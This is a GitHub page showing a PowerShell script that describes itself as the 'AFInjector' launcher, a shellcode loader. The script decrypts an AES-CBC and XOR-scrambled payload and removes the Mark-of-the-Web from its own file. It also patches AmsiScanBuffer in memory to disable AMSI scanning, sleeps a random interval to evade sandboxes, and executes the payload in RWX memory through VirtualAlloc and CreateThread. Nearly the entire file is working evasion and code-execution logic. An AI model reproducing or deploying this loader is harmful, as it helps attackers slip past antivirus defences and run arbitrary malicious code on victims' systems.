-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathPowerShell_Launcher_AesExample.ps1
More file actions
158 lines (130 loc) · 6.2 KB
/
Copy pathPowerShell_Launcher_AesExample.ps1
File metadata and controls
158 lines (130 loc) · 6.2 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
# AFInjector PowerShell Launcher with AES-CBC Decryption
# This script reads metadata and decrypts the payload dynamically
param(
[Parameter(Mandatory=$true)]
[string]$PayloadPath,
[Parameter(Mandatory=$true)]
[string]$MetadataPath
)
$ErrorActionPreference = 'Stop'
Write-Host "[+] AFInjector PowerShell Launcher Started" -ForegroundColor Green
try {
# 1. Read metadata file
Write-Host "[+] Reading encryption metadata..." -ForegroundColor Cyan
$metadata = Get-Content $MetadataPath | ConvertFrom-StringData
$aesKey = $metadata.AES_KEY
$aesIV = $metadata.AES_IV
$scrambleByte = $metadata.SCRAMBLE_BYTE
$payloadType = $metadata.PAYLOAD_TYPE
Write-Host " AES Key: $aesKey" -ForegroundColor Gray
Write-Host " AES IV: $aesIV" -ForegroundColor Gray
Write-Host " Scramble Byte: 0x$scrambleByte" -ForegroundColor Gray
Write-Host " Payload Type: $payloadType" -ForegroundColor Gray
# 2. Read encrypted payload
Write-Host "[+] Reading encrypted payload..." -ForegroundColor Cyan
$encPayload = [System.IO.File]::ReadAllBytes($PayloadPath)
Write-Host " Payload size: $($encPayload.Length) bytes" -ForegroundColor Gray
# 3. Convert hex strings to bytes
$keyBytes = [System.Convert]::FromHexString($aesKey)
$ivBytes = [System.Convert]::FromHexString($aesIV)
$scrambleValue = [System.Convert]::ToByte($scrambleByte, 16)
# 4. AES-CBC Decryption
Write-Host "[+] Decrypting with AES-CBC..." -ForegroundColor Cyan
# Create AES object
$aes = [System.Security.Cryptography.Aes]::Create()
$aes.Key = $keyBytes
$aes.IV = $ivBytes
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
# Create decryptor
$decryptor = $aes.CreateDecryptor()
# Decrypt payload
$decryptedBytes = $decryptor.TransformFinalBlock($encPayload, 0, $encPayload.Length)
$decryptor.Dispose()
$aes.Dispose()
Write-Host " Decrypted size: $($decryptedBytes.Length) bytes" -ForegroundColor Gray
# 5. Post-decryption XOR scramble
Write-Host "[+] Applying post-decryption XOR scramble..." -ForegroundColor Cyan
$finalPayload = [byte[]]::new($decryptedBytes.Length)
for ($i = 0; $i -lt $decryptedBytes.Length; $i++) {
$finalPayload[$i] = $decryptedBytes[$i] -bxor $scrambleValue
}
Write-Host " Final payload size: $($finalPayload.Length) bytes" -ForegroundColor Gray
# 6. Verify payload type
if ($payloadType -eq "pe_file" -and $finalPayload.Length -ge 2) {
if ($finalPayload[0] -eq 0x4D -and $finalPayload[1] -eq 0x5A) {
Write-Host "[+] PE file signature verified (MZ)" -ForegroundColor Green
} else {
Write-Host "[!] Warning: Expected PE file but signature not found" -ForegroundColor Yellow
}
}
# 7. Anti-sandbox/evasion techniques
Write-Host "[+] Applying evasion techniques..." -ForegroundColor Cyan
# MOTW removal
$me = if ($PSCommandPath) { $PSCommandPath } else { $MyInvocation.MyCommand.Path }
if ($me) {
Unblock-File -Path $me -EA SilentlyContinue
Remove-Item -Path $me -Stream Zone.Identifier -EA SilentlyContinue
}
# AMSI bypass (simplified)
try {
$amsiCode = @"
using System;
using System.Runtime.InteropServices;
public class Amsi {
[DllImport("kernel32.dll")] static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll")] static extern IntPtr LoadLibrary(string lpFileName);
[DllImport("kernel32.dll")] static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, ref uint lpflOldProtect);
public static void Patch() {
IntPtr lib = LoadLibrary("amsi.dll");
if (lib == IntPtr.Zero) return;
IntPtr addr = GetProcAddress(lib, "AmsiScanBuffer");
if (addr == IntPtr.Zero) return;
uint old = 0;
VirtualProtect(addr, (UIntPtr)6, 0x40, ref old);
Marshal.Copy(new byte[]{0x31, 0xC0, 0xC3}, 0, addr, 3);
VirtualProtect(addr, (UIntPtr)6, old, ref old);
}
}
"@
Add-Type -TypeDefinition $amsiCode -Language CSharp
[Amsi]::Patch()
Write-Host " AMSI bypass applied" -ForegroundColor Gray
} catch {
Write-Host " AMSI bypass failed: $($_.Exception.Message)" -ForegroundColor Yellow
}
# 8. Anti-sandbox delay
$delaySeconds = Get-Random -Minimum 15 -Maximum 45
Write-Host "[+] Anti-sandbox delay: $delaySeconds seconds..." -ForegroundColor Cyan
Start-Sleep -Seconds $delaySeconds
# 9. Execute shellcode
Write-Host "[+] Executing payload..." -ForegroundColor Red
$runnerCode = @"
using System;
using System.Runtime.InteropServices;
public class Runner {
[DllImport("kernel32.dll")] static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")] static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);
[DllImport("kernel32.dll")] static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
[DllImport("kernel32.dll")] static extern bool CloseHandle(IntPtr hObject);
public static void ExecuteAndWait(byte[] sc, uint timeoutMs) {
IntPtr region = VirtualAlloc(IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);
Marshal.Copy(sc, 0, region, sc.Length);
uint tid;
IntPtr hThread = CreateThread(IntPtr.Zero, 0, region, IntPtr.Zero, 0, out tid);
if (hThread != IntPtr.Zero) {
WaitForSingleObject(hThread, timeoutMs);
CloseHandle(hThread);
}
}
}
"@
Add-Type -TypeDefinition $runnerCode -Language CSharp
Write-Host "[+] Handing control to payload (waiting 60s)..." -ForegroundColor Magenta
[Runner]::ExecuteAndWait($finalPayload, 60000)
Write-Host "[+] Payload execution completed" -ForegroundColor Green
} catch {
Write-Host "[!] CRITICAL ERROR: $($_.Exception.Message)" -ForegroundColor Red
Write-Host "[!] Stack trace: $($_.ScriptStackTrace)" -ForegroundColor Red
}
Write-Host "[+] Launcher exiting" -ForegroundColor Green